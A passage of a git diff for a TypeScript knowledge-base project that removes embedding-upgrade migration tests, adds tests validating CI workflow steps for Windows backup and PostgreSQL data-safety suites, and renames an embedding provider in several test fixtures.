- test('runSchemaTransition preserves embedding_image dimension (1024) post-switch', async () => {
- await setLegacyDefaultConfig();
- await seedPages(150);
- const plan = await planRetrievalUpgrade(engine);
- await applyRetrievalUpgrade(engine, plan);
-
- // Probe column type via format_type so we see the parameterized dim
- // (the typmod). udt_name alone reports just 'vector' without the dim.
- const rows = await engine.executeRaw<{ column_name: string; col_type: string }>(
- `SELECT a.attname AS column_name,
- format_type(a.atttypid, a.atttypmod) AS col_type
- FROM pg_attribute a
- JOIN pg_class c ON c.oid = a.attrelid
- JOIN pg_namespace n ON n.oid = c.relnamespace
- WHERE n.nspname = 'public'
- AND c.relname = 'content_chunks'
- AND a.attname IN ('embedding', 'embedding_image', 'embedding_multimodal')
- AND a.attnum > 0
- ORDER BY a.attname`,
- );
- const byName = new Map(rows.map(r => [r.column_name, r.col_type]));
-
- // Primary text column transitioned to target dim.
- expect(byName.get('embedding')).toBe(`vector(${ZE_TARGET_EMBEDDING_DIM})`);
- // Multimodal columns preserved at their original 1024d shape.
- expect(byName.get('embedding_image')).toBe('vector(1024)');
- expect(byName.get('embedding_multimodal')).toBe('vector(1024)');
- });
-
- test('runSchemaTransition restores partial WHERE on idx_chunks_embedding_image', async () => {
- await setLegacyDefaultConfig();
- await seedPages(150);
- const plan = await planRetrievalUpgrade(engine);
- await applyRetrievalUpgrade(engine, plan);
-
- // pg_indexes.indexdef carries the partial predicate verbatim when present.
- const rows = await engine.executeRaw<{ indexdef: string }>(
- `SELECT indexdef FROM pg_indexes
- WHERE schemaname = 'public'
- AND tablename = 'content_chunks'
- AND indexname = 'idx_chunks_embedding_image'`,
- );
- expect(rows.length).toBe(1);
- // Match schema.sql:258-260 / pglite-schema.ts:198-200 canonical shape.
- expect(rows[0].indexdef).toMatch(/WHERE\s+\(?embedding_image IS NOT NULL\)?/i);
- });
-
- // #4252 — DROP COLUMN embedding cascades away every index depending on the
- // column, including the two partial btree indexes on `embedding IS NULL`
- // (idx_chunks_embedding_null from migration v66, content_chunks_stale_idx
- // from v103 / fresh schema). They are exactly what `embed --stale` — the
- // migration's own recommended next step — needs. The transition must
- // capture and replay every dependent index, not just the ones it names.
- test('runSchemaTransition preserves partial stale indexes on content_chunks.embedding (#4252)', async () => {
- await setLegacyDefaultConfig();
- await seedPages(150);
-
- // Fresh PGLite schema only carries content_chunks_stale_idx
- // (pglite-schema.ts). Brains upgraded through migration v66 also have
- // idx_chunks_embedding_null — create it to cover both index names.
- await engine.executeRaw(
- `CREATE INDEX IF NOT EXISTS idx_chunks_embedding_null
- ON content_chunks (page_id, chunk_index)
- WHERE embedding IS NULL`,
- );
-
- const plan = await planRetrievalUpgrade(engine);
- await applyRetrievalUpgrade(engine, plan);
-
- const rows = await engine.executeRaw<{ indexname: string; indexdef: string }>(
- `SELECT indexname, indexdef FROM pg_indexes
- WHERE schemaname = 'public'
- AND tablename = 'content_chunks'
- AND indexname IN ('idx_chunks_embedding_null', 'content_chunks_stale_idx')
- ORDER BY indexname`,
- );
- const byName = new Map(rows.map(r => [r.indexname, r.indexdef]));
- expect([...byName.keys()]).toEqual(['content_chunks_stale_idx', 'idx_chunks_embedding_null']);
- // The replayed definitions must keep the partial predicate.
- expect(byName.get('content_chunks_stale_idx')).toMatch(/WHERE\s+\(?embedding IS NULL\)?/i);
- expect(byName.get('idx_chunks_embedding_null')).toMatch(/WHERE\s+\(?embedding IS NULL\)?/i);
- });
-
- test('runSchemaTransition EXISTS guard short-circuits cleanly when embedding_image column is absent', async () => {
- // Simulate a (hypothetical) pre-v0.27.1 brain with no embedding_image
- // column. The fix's EXISTS probe must skip the image branch without
- // error. We can't actually run the full ze-switch flow without the
- // column (other code paths assume it), but we can directly drop the
- // column and re-invoke the schema transition via resume to verify the
- // probe doesn't throw on the missing-column branch.
- await setLegacyDefaultConfig();
- await seedPages(150);
-
- // Drop both multimodal columns to simulate a brain that never had them.
- await engine.executeRaw(
- `ALTER TABLE content_chunks DROP COLUMN IF EXISTS embedding_image`,
- );
- await engine.executeRaw(
- `ALTER TABLE content_chunks DROP COLUMN IF EXISTS embedding_multimodal`,
- );
-
- // Resume path also calls runSchemaTransition. Mark as requested so the
- // resume actually runs the schema work rather than short-circuiting.
- await engine.setConfig(KEY_REQUESTED, 'true');
- const result = await resumeRetrievalUpgrade(engine);
-
- // The probe should have short-circuited the image branch and the rest
- // of the transition should have completed without error.
- expect(result.status).toBe('applied');
-
- // Primary column still landed at target dim.
- const rows = await engine.executeRaw<{ col_type: string }>(
- `SELECT format_type(a.atttypid, a.atttypmod) AS col_type
- FROM pg_attribute a
- JOIN pg_class c ON c.oid = a.attrelid
- JOIN pg_namespace n ON n.oid = c.relnamespace
- WHERE n.nspname = 'public'
- AND c.relname = 'content_chunks'
- AND a.attname = 'embedding'`,
- );
- expect(rows[0]?.col_type).toBe(`vector(${ZE_TARGET_EMBEDDING_DIM})`);
-
- // Image index should NOT exist — the EXISTS guard correctly skipped it.
- const idxRows = await engine.executeRaw<{ indexname: string }>(
- `SELECT indexname FROM pg_indexes
- WHERE schemaname = 'public'
- AND tablename = 'content_chunks'
- AND indexname = 'idx_chunks_embedding_image'`,
- );
- expect(idxRows.length).toBe(0);
- });
-});
-
-describe('Three-key state machine transitions (D12)', () => {
- test('recordDeclinedThisRun: only prompt_shown set, requested + applied untouched', async () => {
- await recordDeclinedThisRun(engine);
- expect(await engine.getConfig(KEY_PROMPT_SHOWN)).toBe('true');
- expect(await engine.getConfig(KEY_REQUESTED)).toBeNull();
- expect(await engine.getConfig(KEY_APPLIED)).toBeNull();
- expect(await engine.getConfig(KEY_DECLINED_AT)).toBeNull();
- });
-
- test('recordDeclinedForever: prompt_shown + declined_at set, others untouched', async () => {
- await recordDeclinedForever(engine);
- expect(await engine.getConfig(KEY_PROMPT_SHOWN)).toBe('true');
- expect(await engine.getConfig(KEY_DECLINED_AT)).not.toBeNull();
- expect(await engine.getConfig(KEY_REQUESTED)).toBeNull();
- expect(await engine.getConfig(KEY_APPLIED)).toBeNull();
- });
-});
-
-describe('resumeRetrievalUpgrade — crash recovery', () => {
- test('requested=true + applied=false: re-runs schema + finishes config', async () => {
- await setLegacyDefaultConfig();
- await seedPages(150);
-
- // Simulate a crash partway through: requested set but applied unset.
- await engine.setConfig(KEY_REQUESTED, 'true');
- // Schema is still at 1536 (simulated). Snapshot might or might not exist —
- // resume should work either way.
-
- const result = await resumeRetrievalUpgrade(engine);
- expect(result.status).toBe('applied');
- expect(await engine.getConfig(KEY_APPLIED)).toBe('true');
- expect(await engine.getConfig('embedding_dimensions')).toBe('1280');
- });
-
- test('applied=true: idempotent (returns skipped_already_applied)', async () => {
- await engine.setConfig(KEY_APPLIED, 'true');
- const result = await resumeRetrievalUpgrade(engine);
- expect(result.status).toBe('skipped_already_applied');
- });
-
- test('requested=false: nothing to resume', async () => {
- const result = await resumeRetrievalUpgrade(engine);
- expect(result.status).toBe('skipped_no_work');
- });
-});
-
-describe('undoRetrievalUpgrade (D16)', () => {
- test('no snapshot: returns no_snapshot', async () => {
- const result = await undoRetrievalUpgrade(engine);
- expect(result.status).toBe('no_snapshot');
- });
-
- test('happy path: restores model + dim + reranker', async () => {
- await setLegacyDefaultConfig();
- await seedPages(150);
-
- // Switch forward.
- const plan = await planRetrievalUpgrade(engine);
- await applyRetrievalUpgrade(engine, plan);
-
- // Now undo.
- const result = await undoRetrievalUpgrade(engine);
- expect(result.status).toBe('undone');
- if (result.status === 'undone') {
- expect(result.snapshot.embedding_model).toBe('openai:text-embedding-3-large');
- expect(result.snapshot.embedding_dimensions).toBe(1536);
- }
- expect(await engine.getConfig('embedding_model')).toBe('openai:text-embedding-3-large');
- expect(await engine.getConfig('embedding_dimensions')).toBe('1536');
- // applied marker cleared so planner can re-offer later.
- expect(await engine.getConfig(KEY_APPLIED)).toBeNull();
- expect(await engine.getConfig(KEY_REQUESTED)).toBeNull();
- });
-
- test('corrupt snapshot: returns failed with reason', async () => {
- await engine.setConfig(KEY_PREVIOUS_SNAPSHOT, 'not valid json {');
- const result = await undoRetrievalUpgrade(engine);
- expect(result.status).toBe('failed');
- if (result.status === 'failed') {
- expect(result.reason).toContain('corrupt');
- }
- });
-});
diff --git a/test/scripts/data-safety-native-workflow.test.ts b/test/scripts/data-safety-native-workflow.test.ts
new file mode 100644
index 0000000000..a617ca1d5c
--- /dev/null
+++ b/test/scripts/data-safety-native-workflow.test.ts
@@ -0,0 +1,211 @@
+import { describe, expect, test } from 'bun:test';
+import { createHash } from 'node:crypto';
+import { mkdtempSync, readFileSync, rmSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { safeLoad } from 'js-yaml';
+
+type Step = {
+ name?: string;
+ if?: string;
+ shell?: string;
+ run?: string;
+ env?: Record<string, string>;
+ 'continue-on-error'?: boolean;
+};
+const workflow = safeLoad(readFileSync(join(import.meta.dir, '../../.github/workflows/native-locks.yml'), 'utf8')) as {
+ jobs: {
+ native: { steps: Step[]; strategy: { matrix: { target: string[]; bun: string[] } } };
+ 'windows-backup-console': { steps: Step[]; 'runs-on': string; 'timeout-minutes': number;
+ strategy: { 'fail-fast': boolean; matrix: { include: { runner: string; bun: string }[] } } };
+ 'windows-backup-dotnet': { steps: Step[]; 'runs-on': string; 'timeout-minutes': number;
+ strategy: { 'fail-fast': boolean; matrix: { include: { runner: string; bun: string }[] } } };
+ };
+};
+const suites = [
+ 'test/persistence-publication-native.serial.test.ts',
+ 'test/persistence-git-publication.test.ts',
+ 'test/persistence-sync-origin-native.serial.test.ts',
+ 'test/backup-portability-native.serial.test.ts',
+];
+
+describe('data-safety native CI coverage', () => {
+ test('the opt-in console diagnostic has an isolated Windows matrix without filtering the acceptance suites', () => {
+ const job = workflow.jobs['windows-backup-console'];
+ expect(job['runs-on']).toBe('${{ matrix.runner }}');
+ expect(job['timeout-minutes']).toBe(5);
+ expect(job.strategy['fail-fast']).toBe(false);
+ expect(job.strategy.matrix.include).toEqual(['windows-2022', 'windows-11-arm'].flatMap(runner =>
+ ['1.3.11', '1.3.13', '1.4.2'].map(bun => ({ runner, bun }))));
+ expect(job.steps.some(entry => entry.run === 'bun scripts/native/verify.ts')).toBe(true);
+ const step = job.steps.find(entry => entry.name === 'Compare native hidden-window launch behavior');
+ expect(step).toBeDefined();
+ expect(step!.if).toBeUndefined();
+ expect(step!['continue-on-error']).toBeUndefined();
+ expect(step!.shell).toBe('bash');
+ expect(step!.env).toEqual({ GBRAIN_CI_DISABLE_TEST_ENV_FILE: '1', GBRAIN_TEST_BACKUP_CONSOLE_PROBE: '1' });
+ expect(step!.run!.trim().split('\n')).toEqual([
+ "bun --no-env-file test --timeout=180000 --test-name-pattern '^private ACL setup compares hidden and visible PowerShell windows$' test/backup-portability-native.serial.test.ts 2>&1 | tee \"$RUNNER_TEMP/backup-console.log\"",
+ "grep -Fq 'Windows backup console controls:' \"$RUNNER_TEMP/backup-console.log\"",
+ ]);
+ const fixture = readFileSync(join(import.meta.dir, '../backup-portability-native.serial.test.ts'), 'utf8');
+ expect(fixture).toContain("test.skipIf(process.platform !== 'win32' || process.env.GBRAIN_TEST_BACKUP_CONSOLE_PROBE !== '1')('private ACL setup compares hidden and visible PowerShell windows'");
+ expect(workflow.jobs.native.steps.some(entry => entry.env?.GBRAIN_TEST_BACKUP_CONSOLE_PROBE !== undefined)).toBe(false);
+ });
+
+ for (const [exitCode, observation] of [[0, true], [1, true], [0, false]] as const) test(`console probe refuses failed or unexecuted diagnostics (${exitCode}, ${observation})`, () => {
+ const temporary = mkdtempSync(join(tmpdir(), 'gbrain-console-workflow-'));
+ try {
+ const step = workflow.jobs['windows-backup-console'].steps.find(entry => entry.name === 'Compare native hidden-window launch behavior')!;
+ const result = Bun.spawnSync(['bash', '-e', '-o', 'pipefail', '-c', `
+ bun() { if [[ "$GBRAIN_TEST_OBSERVATION" == 1 ]]; then printf '%s\\n' 'Windows backup console controls: synthetic'; fi; return "$GBRAIN_TEST_EXIT"; }
+ ${step.run}
+ `], { env: { PATH: process.env.PATH ?? '', RUNNER_TEMP: temporary, GBRAIN_TEST_OBSERVATION: observation ? '1' : '0', GBRAIN_TEST_EXIT: String(exitCode) } });
+ expect(result.exitCode).toBe(exitCode === 0 && observation ? 0 : 1);
+ } finally { rmSync(temporary, { recursive: true, force: true }); }
+ });
+
+ test('the direct dotnet program comparison has its own six-cell opt-in Windows job', () => {
+ const job = workflow.jobs['windows-backup-dotnet'];
+ expect(job['runs-on']).toBe('${{ matrix.runner }}');
+ expect(job['timeout-minutes']).toBe(5);
+ expect(job.strategy['fail-fast']).toBe(false);
+ expect(job.strategy.matrix.include).toEqual(['windows-2022', 'windows-11-arm'].flatMap(runner =>
+ ['1.3.11', '1.3.13', '1.4.2'].map(bun => ({ runner, bun }))));
+ expect(job.steps.some(entry => entry.run === 'bun scripts/native/verify.ts')).toBe(true);
+ const step = job.steps.find(entry => entry.name === 'Compare cmdlet and direct dotnet ACL programs');
+ expect(step).toBeDefined();
+ expect(step!.if).toBeUndefined();
+ expect(step!['continue-on-error']).toBeUndefined();
+ expect(step!.shell).toBe('bash');
+ expect(step!.env).toEqual({ GBRAIN_CI_DISABLE_TEST_ENV_FILE: '1', GBRAIN_TEST_BACKUP_DOTNET_PROBE: '1' });
+ expect(step!.run!.trim().split('\n')).toEqual([
+ "bun --no-env-file test --timeout=180000 --test-name-pattern '^private (directory|file) ACL setup compares cmdlet and direct dotnet calls$' test/backup-portability-native.serial.test.ts 2>&1 | tee \"$RUNNER_TEMP/backup-dotnet.log\"",
+ "grep -Fq 'Windows backup dotnet controls: {\"kind\":\"directory\",' \"$RUNNER_TEMP/backup-dotnet.log\"",
+ "grep -Fq 'Windows backup dotnet controls: {\"kind\":\"file\",' \"$RUNNER_TEMP/backup-dotnet.log\"",
+ ]);
+ const fixture = readFileSync(join(import.meta.dir, '../backup-portability-native.serial.test.ts'), 'utf8');
+ expect(fixture).toContain("for (const kind of ['directory', 'file'] as const) test.skipIf(process.platform !== 'win32' || process.env.GBRAIN_TEST_BACKUP_DOTNET_PROBE !== '1')(`private ${kind} ACL setup compares cmdlet and direct dotnet calls`");
+ expect(workflow.jobs.native.steps.some(entry => entry.env?.GBRAIN_TEST_BACKUP_DOTNET_PROBE !== undefined)).toBe(false);
+ expect(workflow.jobs['windows-backup-console'].steps.some(entry => entry.env?.GBRAIN_TEST_BACKUP_DOTNET_PROBE !== undefined)).toBe(false);
+ });
+
+ test('the cmdlet arm retains the exact original encoded protection program', () => {
+ const program = readFileSync(join(import.meta.dir, '../fixtures/windows-backup-cmdlet-protect.ps1'), 'utf8').replace(/\r\n/g, '\n');
+ expect(createHash('sha256').update(Buffer.from(program, 'utf16le')).digest('hex'))
+ .toBe('586ed48aa8f0ec1b6a37d0fe516d45fd98b3b3cc47587ef2c406a1e76521f2fc');
+ });
+
+ for (const [exitCode, observation] of [[0, true], [1, true], [0, false]] as const) test(`dotnet probe refuses failed or unexecuted diagnostics (${exitCode}, ${observation})`, () => {
+ const temporary = mkdtempSync(join(tmpdir(), 'gbrain-dotnet-workflow-'));
+ try {
+ const step = workflow.jobs['windows-backup-dotnet'].steps.find(entry => entry.name === 'Compare cmdlet and direct dotnet ACL programs')!;
+ const result = Bun.spawnSync(['bash', '-e', '-o', 'pipefail', '-c', `
+ bun() { if [[ "$GBRAIN_TEST_OBSERVATION" == 1 ]]; then printf '%s\\n' 'Windows backup dotnet controls: {"kind":"directory",' 'Windows backup dotnet controls: {"kind":"file",'; fi; return "$GBRAIN_TEST_EXIT"; }
+ ${step.run}
+ `], { env: { PATH: process.env.PATH ?? '', RUNNER_TEMP: temporary, GBRAIN_TEST_OBSERVATION: observation ? '1' : '0', GBRAIN_TEST_EXIT: String(exitCode) } });
+ expect(result.exitCode).toBe(exitCode === 0 && observation ? 0 : 1);
+ } finally { rmSync(temporary, { recursive: true, force: true }); }
+ });
+
+ for (const kind of ['directory', 'file']) for (const copies of [1, 2]) test(`dotnet probe refuses execution of only ${kind}${copies === 2 ? ' twice' : ''}`, () => {
+ const temporary = mkdtempSync(join(tmpdir(), 'gbrain-dotnet-partial-'));
+ try {
+ const step = workflow.jobs['windows-backup-dotnet'].steps.find(entry => entry.name === 'Compare cmdlet and direct dotnet ACL programs')!;
+ const result = Bun.spawnSync(['bash', '-e', '-o', 'pipefail', '-c', `
+ bun() { printf '%s\\n' ${Array(copies).fill(`'Windows backup dotnet controls: {"kind":"${kind}",'`).join(' ')}; }
+ ${step.run}
+ `], { env: { PATH: process.env.PATH ?? '', RUNNER_TEMP: temporary } });
+ expect(result.exitCode).toBe(1);
+ } finally { rmSync(temporary, { recursive: true, force: true }); }
+ });
+
+ test('real publication, sync and backup contracts run on every native matrix target', () => {
+ const job = workflow.jobs.native;
+ expect(job.strategy.matrix.target).toContain('win32-x64');
+ expect(job.strategy.matrix.target).toContain('win32-arm64');
+ expect(job.strategy.matrix.target).toContain('darwin-arm64');
+ expect(job.strategy.matrix.target).toContain('linux-x64-glibc');
+ const step = job.steps.find(entry => entry.name === 'Verify native data-safety contracts');
+ expect(step).toBeDefined();
+ expect(step!.if).toBeUndefined();
+ expect(step!['continue-on-error']).toBeUndefined();
+ expect(step!.shell).toBe('bash');
+ expect(step!.env).toEqual({
+ GBRAIN_CI_DISABLE_TEST_ENV_FILE: '1',
+ GBRAIN_TEST_REQUIRE_CASE_INSENSITIVE: "${{ runner.os != 'Linux' && '1' || '0' }}",
+ });
+ expect(step!.run!.trim().split('\n')).toEqual([
+ 'status=0',
+ ...suites.map(suite => `bun --no-env-file test --timeout=180000 ${suite} || status=1`),
+ 'exit "$status"',
+ ]);
+ });
+
+ for (const failed of ['', ...suites]) test(`every native safety suite runs and failures remain fatal (${failed || 'all pass'})`, () => {
+ const step = workflow.jobs.native.steps.find(entry => entry.name === 'Verify native data-safety contracts')!;
+ const result = Bun.spawnSync(['bash', '-e', '-o', 'pipefail', '-c', `
+ bun() { printf '%s\\n' "$4"; [[ "$4" != "$GBRAIN_TEST_FAILED_SUITE" ]]; }
+ ${step.run}
+ `], { env: { PATH: process.env.PATH ?? '', GBRAIN_TEST_FAILED_SUITE: failed } });
+ expect(result.exitCode).toBe(failed ? 1 : 0);
+ expect(result.stdout.toString().trim().split('\n')).toEqual(suites);
+ });
+
+ for (const exitCode of [0, 1]) test(`read diagnostics run with PostgreSQL and retain test failure (${exitCode})`, () => {
+ const persistence = safeLoad(readFileSync(join(import.meta.dir, '../../.github/workflows/persistence-validation.yml'), 'utf8')) as {
+ jobs: { 'deployment-matrix': { steps: Step[] } };
+ };
+ const step = persistence.jobs['deployment-matrix'].steps.find(entry => entry.name === 'Require PostgreSQL lifecycle, projection and recovery contracts');
+ expect(step).toBeDefined();
+ expect(step!.if).toBeUndefined();
+ expect(step!['continue-on-error']).toBeUndefined();
+ expect(step!.env?.GBRAIN_TEST_ALLOW_DATABASE_URL).toBe('1');
+ expect(step!.env?.DATABASE_URL).toMatch(/^postgres:\/\/.+\/gbrain_test$/);
+ const result = Bun.spawnSync(['bash', '-e', '-o', 'pipefail', '-c', `
+ bun() { printf '%s\\n' "$@"; return ${exitCode}; }
+ ${step!.run}
+ `], { env: { PATH: process.env.PATH ?? '', ...step!.env } });
+ expect(result.exitCode).toBe(exitCode);
+ expect(result.stdout.toString().trim().split('\n').filter(arg => arg === 'test/persistence-read-diagnostics.test.ts')).toHaveLength(1);
+ });
+
+ for (const exitCode of [0, 1]) test(`read latency is advisory without swallowing invalid workloads (${exitCode})`, () => {
+ const persistence = safeLoad(readFileSync(join(import.meta.dir, '../../.github/workflows/persistence-validation.yml'), 'utf8')) as {
+ jobs: { 'read-performance': { steps: Step[]; 'continue-on-error'?: boolean } };
+ };
+ const job = persistence.jobs['read-performance'];
+ const step = job.steps.find(entry => entry.run?.includes('scripts/persistence/performance.ts'))!;
+ expect(job['continue-on-error']).toBeUndefined();
+ expect(step.if).toBeUndefined();
+ expect(step['continue-on-error']).toBeUndefined();
+ const result = Bun.spawnSync(['bash', '-e', '-o', 'pipefail', '-c', `
+ bun() { printf '%s\\n' "$@"; return ${exitCode}; }
+ ${step.run!.replaceAll('${{ matrix.engine }}', 'postgres')}
+ `], { env: { PATH: process.env.PATH ?? '', ...step.env } });
+ expect(result.exitCode).toBe(exitCode);
+ expect(result.stdout.toString().trim().split('\n')).toEqual([
+ '--no-env-file', 'scripts/persistence/performance.ts', '--engine=postgres',
+ '--informational', '--manifest=.context/persistence-read-latency.json',
+ ]);
+ });
+
+ test('publication and sync safety suites run in separate PostgreSQL-bearing CI processes', () => {
+ const persistence = safeLoad(readFileSync(join(import.meta.dir, '../../.github/workflows/persistence-validation.yml'), 'utf8')) as {
+ jobs: { 'deployment-matrix': { steps: Step[] } };
+ };
+ const step = persistence.jobs['deployment-matrix'].steps.find(entry => entry.name === 'Require data-safety on PostgreSQL');
+ expect(step).toBeDefined();
+ expect(step!.if).toBeUndefined();
+ expect(step!['continue-on-error']).toBeUndefined();
+ expect(step!.env?.GBRAIN_TEST_ALLOW_DATABASE_URL).toBe('1');
+ expect(step!.env?.DATABASE_URL).toMatch(/^postgres:\/\/.+\/gbrain_test$/);
+ expect(step!.run!.trim().split('\n')).toEqual([
+ ': "${DATABASE_URL:?Data-safety tests require the explicit test database}"',
+ 'bun --no-env-file test --timeout=180000 test/persistence-publication-native.serial.test.ts',
+ 'bun --no-env-file test --timeout=180000 test/persistence-sync-origin-native.serial.test.ts',
+ 'bun --no-env-file test --timeout=180000 test/persistence-sync-options.serial.test.ts',
+ 'bun --no-env-file test --timeout=180000 test/persistence-sync-company.serial.test.ts',
+ ]);
+ });
+});
diff --git a/test/scripts/e2e-wiring.test.ts b/test/scripts/e2e-wiring.test.ts
index 9badf48532..209bc0550c 100644
--- a/test/scripts/e2e-wiring.test.ts
+++ b/test/scripts/e2e-wiring.test.ts
@@ -44,7 +44,6 @@ function jobBlock(name: string): string {
const LIVE_KEY_FILES = new Set([
'test/e2e/skills.test.ts',
- 'test/e2e/zeroentropy-live.test.ts',
'test/e2e/voyage-rerank-live.test.ts',
'test/e2e/voyage-multimodal.test.ts',
]);
@@ -72,7 +71,7 @@ describe('selected-e2e job wiring', () => {
});
test('fork-runnable: no live provider keys anywhere in the job block', () => {
- for (const secret of ['ANTHROPIC_API_KEY', 'OPENAI_API_KEY', 'ZEROENTROPY', 'VOYAGE_API_KEY', 'secrets.']) {
+ for (const secret of ['ANTHROPIC_API_KEY', 'OPENAI_API_KEY', 'VOYAGE_API_KEY', 'secrets.']) {
expect(job).not.toContain(secret);
}
});
diff --git a/test/scripts/native-lock-prebuilds.test.ts b/test/scripts/native-lock-prebuilds.test.ts
index 22e0368da5..b60774f373 100644
--- a/test/scripts/native-lock-prebuilds.test.ts
+++ b/test/scripts/native-lock-prebuilds.test.ts
@@ -79,6 +79,16 @@ describe('native lock distribution integrity', () => {
expect(job.steps.some(step => step.run?.includes('test/openclaw-context-engine-native.serial.test.ts'))).toBe(true);
continue;
}
+ if (name === 'windows-backup-console') {
+ expect(job.steps.some(step => step.run?.includes('Windows backup console controls:'))).toBe(true);
+ expect(job.steps.some(step => step.run === 'bun scripts/native/verify.ts')).toBe(true);
+ continue;
+ }
+ if (name === 'windows-backup-dotnet') {
+ expect(job.steps.some(step => step.run?.includes('Windows backup dotnet controls:'))).toBe(true);
+ expect(job.steps.some(step => step.run === 'bun scripts/native/verify.ts')).toBe(true);
+ continue;
+ }
const matrix = job.strategy.matrix;
expect(matrix.bun).toEqual(['1.3.11', '1.3.13', '1.4.2']);
const script = job.steps.map(step => step.run ?? '').join('\n');
diff --git a/test/search-image-column.test.ts b/test/search-image-column.test.ts
index 73ee30f60e..b22840c108 100644
--- a/test/search-image-column.test.ts
+++ b/test/search-image-column.test.ts
@@ -14,9 +14,9 @@ let engine: PGLiteEngine;
* Actual `content_chunks.embedding` column width at runtime. Probed
* after initSchema, NOT hardcoded — the brain inherits from
* `~/.gbrain/config.json` (locally) or `DEFAULT_EMBEDDING_DIMENSIONS`
- * (CI fresh-install). Hardcoding 1536 or 1280 makes the test green
+ * (CI fresh-install). Hardcoding 1536 or 1024 makes the test green
* on one and red on the other; the default model has flipped twice
- * already (OpenAI 3-large=1536 → ZE zembed-1=1280 in v0.36+).
+ * already (OpenAI 3-large=1536 → Voyage voyage-4=1024 in v0.36+).
*/
let TEXT_DIM = 0;
@@ -42,7 +42,7 @@ beforeEach(async () => {
/**
* Build a fake text-column vector at the column's runtime dim. Reads
* `TEXT_DIM` populated in `beforeAll` from the actual column. Works
- * on any default — 1280 (CI fresh-install) and 1536 (local dev with
+ * on any default — 1024 (CI fresh-install) and 1536 (local dev with
* gbrain config from older default) both pass.
*/
function fakeTextDefault(seed: number): Float32Array {
diff --git a/test/search-mode.test.ts b/test/search-mode.test.ts
index dbec0d14ee..81b9f8e259 100644
--- a/test/search-mode.test.ts
+++ b/test/search-mode.test.ts
@@ -329,12 +329,12 @@ describe('v0.40.6.1 — reranker_timeout_ms threads recipe default through resol
expect(r.reranker_timeout_ms).toBe(100);
});
- test('ZE (no recipe default) regression: still gets bundle default of 5000ms', () => {
- // ZeroEntropy's recipe does not declare default_timeout_ms — its hosted
+ test('Voyage (no recipe default) regression: still gets bundle default of 5000ms', () => {
+ // Voyage's recipe does not declare default_timeout_ms — its hosted
// path is fast enough that the bundle default suffices.
const r = resolveSearchMode({
mode: 'balanced',
- overrides: { reranker_model: 'zeroentropyai:zerank-2' },
+ overrides: { reranker_model: 'voyage:rerank-2.5' },
});
expect(r.reranker_timeout_ms).toBe(5000);
});
@@ -446,7 +446,7 @@ describe('knobsHash determinism + cross-mode separation (CDX-4)', () => {
// v0.43: bumped 9→10 for the relational recall arm (rel=/reld=) — a
// relational-on write must not be served to a relational-off lookup.
// #1400: bumped 10→11 for the asymmetric input_type fix — embedQuery()
- // now produces query-side vectors for asymmetric providers (zembed-1,
+ // now produces query-side vectors for asymmetric providers (voyage-4,
// Voyage v3+), so rows keyed on pre-fix document-side query vectors
// must not be served to post-fix lookups.
// #2825: bumped 11→12 to fold the resolved hard-exclude prefix list
diff --git a/test/search-types-filter.test.ts b/test/search-types-filter.test.ts
index a64d137d57..c2920ffe6d 100644
--- a/test/search-types-filter.test.ts
+++ b/test/search-types-filter.test.ts
@@ -23,10 +23,10 @@ function basisEmbedding(idx: number, dim = 1536): Float32Array {
}
beforeAll(async () => {
- // v0.41.5.0+: DEFAULT_EMBEDDING_DIMENSIONS is 1280 (ZE Matryoshka). This test
+ // v0.41.5.0+: DEFAULT_EMBEDDING_DIMENSIONS is 1024 (Voyage Matryoshka). This test
// inserts 1536-dim unit vectors below. Without pinning, initSchema() sizes
- // content_chunks.embedding at vector(1280) and the upserts throw
- // "expected 1280 dimensions, not 1536". The local fast loop hides this when
+ // content_chunks.embedding at vector(1024) and the upserts throw
+ // "expected 1024 dimensions, not 1536". The local fast loop hides this when
// a prior test in the shard pre-configured the gateway at 1536d; CI shards
// hit it cold. Pin to 1536d so this file is hermetic.
resetGateway();
diff --git a/test/search/autocut-eval.test.ts b/test/search/autocut-eval.test.ts
index 726ea3cf77..2b15ff1b87 100644
--- a/test/search/autocut-eval.test.ts
+++ b/test/search/autocut-eval.test.ts
@@ -13,7 +13,7 @@
* enumeration, flat curves for ambiguous breadth, and an adversarial case
* where the reranker mis-scores a relevant doc below a cliff). It measures
* the precision/recall tradeoff of the CUT DECISION on those distributions.
- * It does NOT claim that ZeroEntropy's live scores look like these fixtures
+ * It does NOT claim that Voyage's live scores look like these fixtures
* on a specific brain — that empirical confirmation is the optional
* gbrain-evals PrecisionMemBench run. What this gate DOES guarantee, in CI:
* - autocut lifts mean precision well above the no-autocut baseline,
diff --git a/test/search/embedding-column.serial.test.ts b/test/search/embedding-column.serial.test.ts
index 2b7a83f6bf..433370072d 100644
--- a/test/search/embedding-column.serial.test.ts
+++ b/test/search/embedding-column.serial.test.ts
@@ -62,10 +62,10 @@ describe('resolveEmbeddingColumn — resolution chain', () => {
const r = resolveEmbeddingColumn(
{ embeddingColumn: 'embedding_voyage' },
cfg({
- search_embedding_column: 'embedding_zeroentropy',
+ search_embedding_column: 'embedding_fixture',
embedding_columns: {
embedding_voyage: { provider: 'voyage:voyage-3-large', dimensions: 1024, type: 'vector' },
- embedding_zeroentropy: { provider: 'zeroentropyai:zembed-1', dimensions: 2560, type: 'halfvec' },
+ embedding_fixture: { provider: 'fixture-provider:embedding-v1', dimensions: 2560, type: 'halfvec' },
},
}),
);
@@ -101,7 +101,7 @@ describe('resolveEmbeddingColumn — resolution chain', () => {
name: 'embedding_custom',
type: 'halfvec',
dimensions: 2560,
- embeddingModel: 'zeroentropyai:zembed-1',
+ embeddingModel: 'fixture-provider:embedding-v1',
};
const r = resolveEmbeddingColumn({ embeddingColumn: descriptor }, cfg());
expect(r).toEqual(descriptor);
@@ -171,12 +171,12 @@ describe('getEmbeddingColumnRegistry — builtins + merge', () => {
const reg = getEmbeddingColumnRegistry(
cfg({
embedding_columns: {
- embedding_ze: { provider: 'zeroentropyai:zembed-1', dimensions: 2560, type: 'halfvec' },
+ embedding_fixture: { provider: 'fixture-provider:embedding-v1', dimensions: 2560, type: 'halfvec' },
},
}),
);
- expect(reg.embedding_ze!.type).toBe('halfvec');
- expect(reg.embedding_ze!.dimensions).toBe(2560);
+ expect(reg.embedding_fixture!.type).toBe('halfvec');
+ expect(reg.embedding_fixture!.dimensions).toBe(2560);
});
});
@@ -281,9 +281,9 @@ describe('D3 — buildVectorCastFragment + quoteIdentifier', () => {
});
test('halfvec type emits $1::halfvec(N) cast', () => {
- const r: ResolvedColumn = { name: 'embedding_ze', type: 'halfvec', dimensions: 2560, embeddingModel: 'zeroentropyai:zembed-1' };
